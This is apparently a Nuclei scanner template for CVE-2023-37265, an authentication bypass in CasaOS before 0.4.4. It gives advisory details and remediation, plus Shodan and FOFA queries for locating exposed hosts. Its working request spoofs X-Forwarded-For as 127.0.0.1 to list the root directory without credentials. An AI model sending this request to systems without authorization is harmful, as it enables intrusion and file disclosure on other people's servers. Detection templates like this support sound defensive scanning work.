id: CVE-2023-37265 info: name: CasaOS < 0.4.4 - Authentication Bypass via Internal IP author: iamnoooob,DhiyaneshDK,pdresearch severity: critical description: | CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as `root` on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in `391dd7f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly. remediation: The problem was addressed by improving the detection of client IP addresses in 391dd7f. This patch is part of CasaOS 0.4.4. reference: - https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad - https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr - https://github.com/IceWhaleTech/CasaOS-Gateway/commit/391dd7f0f239020c46bf057cfa25f82031fc15f7 - https://github.com/IceWhaleTech/CasaOS-Gateway/security/advisories/GHSA-vjh7-5r6x-xh6g classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-37265 cwe-id: CWE-306 epss-score: 0.10511 epss-percentile: 0.94442 cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: icewhale product: casaos shodan-query: http.html:"/CasaOS-UI/public/index.html" fofa-query: body="/CasaOS-UI/public/index.html" tags: cve,cve2023,oss,casaos,jwt http: - method: GET path: - "{{BaseURL}}/v1/folder?path=%2F" headers: X-Forwarded-For: 127.0.0.1 matchers: - type: word words: - '"success":200' - '"message":"ok"' - 'content' - 'is_dir' condition: and extractors: - type: json json: - .data.content[].path # digest: 4b0a0048304602210097273092b03f46dee168427e8be8049b98d0d972169b2bb14e94f3968e1efa7a02210090201a40bd376c11915b1eb69457cdfaf1ee5d398f4680374c728b3cf00edacc:922c64590222798bb761d5b6d8e72950